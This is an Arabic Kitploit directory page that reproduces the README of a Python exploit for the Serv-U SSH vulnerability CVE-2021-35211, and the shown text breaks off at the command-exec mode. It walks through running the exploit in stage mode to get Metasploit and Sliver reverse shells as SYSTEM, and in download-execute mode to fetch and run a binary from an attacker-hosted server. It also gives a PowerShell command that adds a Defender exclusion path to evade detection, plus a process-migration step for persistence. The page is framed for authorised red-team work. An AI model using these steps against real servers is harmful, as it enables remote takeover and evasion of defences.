Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-35211 — استغلال بلغة Python لثغرة Serv-U في بروتوكول SSH (CVE-2021-35211) مع أوضاع حمولة متعددة: stage وexec وdownload-execute، ما يتيح تنفيذ shellcode وحقن الأوامر. | Kitploit
أدوات/GitHubGitHub/bishopfox/cve-2021-35211
أطر الاستغلالتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمرتوليد شيفرة القشرةتطوير الحمولاتاستغلال الملفات الثنائية
GitHubbishopfox/cve-2021-35211

CVE-2021-35211

استغلال بلغة Python لثغرة Serv-U في بروتوكول SSH (CVE-2021-35211) مع أوضاع حمولة متعددة: stage وexec وdownload-execute، ما يتيح تنفيذ shellcode وحقن الأوامر.

39915منذ 4 سنواتتمت المراجعة من قبل Kitploit
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال Serv-U CVE-2021-35211

احتمالية التسبب في DoS - تحقق من قواعد الاشتباك الخاصة بك

لا يعمل الاستغلال في كل مرة، لكنه يعمل بما يكفي لتشغيل شيفرة shellcode في حوالي مرة واحدة من كل 5 أو 6 محاولات. ومع ذلك، قد يؤدي الاستغلال الفاشل أحياناً إلى تعطّل خادم Serv-U. يرجى التأكد من أن قواعد الاشتباك الخاصة بك تسمح بخطر فقدان الخدمة أو تدهورها. تشمل الأعراض التي لوحظت أثناء الاختبار ما يلي:

  • التعطّل وإعادة التشغيل التلقائي (الأكثر شيوعاً)
  • فصل المستخدمين المسجّلين أثناء المحاولات الناجحة وغير الناجحة
  • التعطّل مع عدم إعادة التشغيل التلقائي

Caveat emptor.

بدء سريع

الإصدارات مهمة. يستخدم هذا الاستغلال عناوين ROP ثابتة (hard-coded) صالحة فقط ضد إصدار Serv-U 15.2.3.717. قد نتمكن من إضافة إصدارات أخرى، يرجى السؤال إذا كنت بحاجة إلى أن يعمل مع إصدارات مختلفة من Serv-U أو Windows.

التحقق من الإصدار على هدفك

% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

تشغيل الاستغلال

يقبل الوسائط التالية:

% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

توجد ثلاثة أوضاع (أو حمولات) يمكنك تشغيلها في هجوم ناجح:

  1. stage
  2. exec
  3. downloadexec

وضع stage

عند نجاح الاستغلال، يشغّل stager لشيفرة shellcode متوافقاً مع Metasploit/Sliver. وهو الأقل موثوقية بين جميع الحمولات؛ فكّر في `downloadexec1 بدلاً منه. شغّله هكذا:

% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

سيشير كل من stageHost وstagePort إلى معالج استماع على جهاز Sliver/Metasploit الخاص بك. يمكنك اختيار أي حمولة تريدها، لكنني وجدت أن الحمولة الوحيدة التي تعمل بشكل موثوق هي windows/x64/shell/reverse_tcp. هذا أمر مؤسف لأن هذه ليست shell مشفّرة وستحتاج إلى التحقق من قواعد الاشتباك الخاصة بك قبل الحصول على شيء من هذا القبيل.

مرة أخرى، caveat emptor.

قم بإعداده في Metasploit على جهاز كالي الخاص بك هكذا:

elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

ثم شغّل الاستغلال:

% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

على جهاز كالي مرة أخرى، يجب أن ترى طلب المرحلة وبدء تشغيل shell الأوامر:

msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

دعم Sliver في حمولة stager تجريبي جداً ونادراً ما يعمل. إذا عمل بالفعل، فعادةً سترى الجلسات تبدأ ثم تموت فوراً. لكن إذا حصلت على جلسة لا تنتهي فوراً، يمكنك اتخاذ خطوات للحفاظ على وصول Sliver الخاص بك عن طريق الترحيل إلى عملية مختلفة.

على خادم Sliver الخاص بك، شغّل أمر stage-listener لإعداد المستمع الخاص بك. راجع وثائق Sliver لمزيد من التفاصيل حول staging:

elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

شغّل الاستغلال في وضع stage:

% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

إذا نجح الاستغلال (ونادراً جداً ما ينجح مع حمولات Sliver أو Meterpreter)، فسترى شيئاً مثل هذا (ونعم، لقد ابتكر Sliver اسم الحمولة هذا بمفرده تماماً!):

[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

أول شيء يجب عليك فعله هو الترحيل إلى عملية مختلفة، لأن هناك احتمالاً كبيراً أن تموت جلسة Sliver الخاصة بك ولن تعود، ولا أعرف السبب الجذري وقت كتابة هذا النص.

sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

في هذه المرحلة، يجب أن يكون لديك جلسة Sliver ثابتة محصّنة ضد تقلبات Serv-U وهذا الاستغلال.

وضع التنزيل والتنفيذ

الوضع الأكثر موثوقية والأقل عرضة للرصد من قبل أمان نقاط النهاية في Microsoft Defender. وذلك لأنه يستخدم أمر Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") لإضافة استثناء مجلد إلى Microsoft Defender، بحيث لا يتم فحص الملفات الثنائية الخاصة بـ Sliver/Meterpreter أو غيرها بحثاً عن البرمجيات الخبيثة. سيحميك هذا من Windows Defender، لكن هذا كل شيء؛ ستحتاج إلى مراعاة تقنيات أمان نقاط النهاية الأخرى وأنظمة IDS الشبكية، وما إلى ذلك.

عند النجاح، يقوم بتنزيل ملف ثنائي من URL وتنفيذه. ستحتاج إلى خادم ويب يستضيف ملفك التنفيذي. استخدمت Python، لكن يرجى ملاحظة أنني أختبر على شبكة محلية بدون SSL. في الاستغلالات الحقيقية، ستحتاج إلى التحقق من قواعد الاشتباك الخاصة بك إذا كنت تريد استخدام URLs غير مشفّرة.

وليس للمرة الأولى: caveat emptor.

شغّل مستمع HTTP بسيطاً هكذا:

% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

مع تشغيل المستمع، يمكنك تشغيل الاستغلال:

% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

يجب أن ترى شيئاً مثل هذا في المستمع الخاص بك:

192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

سينفّذ الهدف calc.exe ويعيد تشغيل خدمة Serv-U للسماح للمستخدمين ببدء الاتصال مرة أخرى. لاحظ أن الملف التنفيذي لن يعرض نافذة، لكن إذا شغّلت هذا المثال، يجب أن ترى wincalc.exe في إدارة المهام.

وضع تنفيذ الأوامر

عند النجاح، يشغّل أمراً على الهدف. شغّله هكذا:

تنزيل الأداة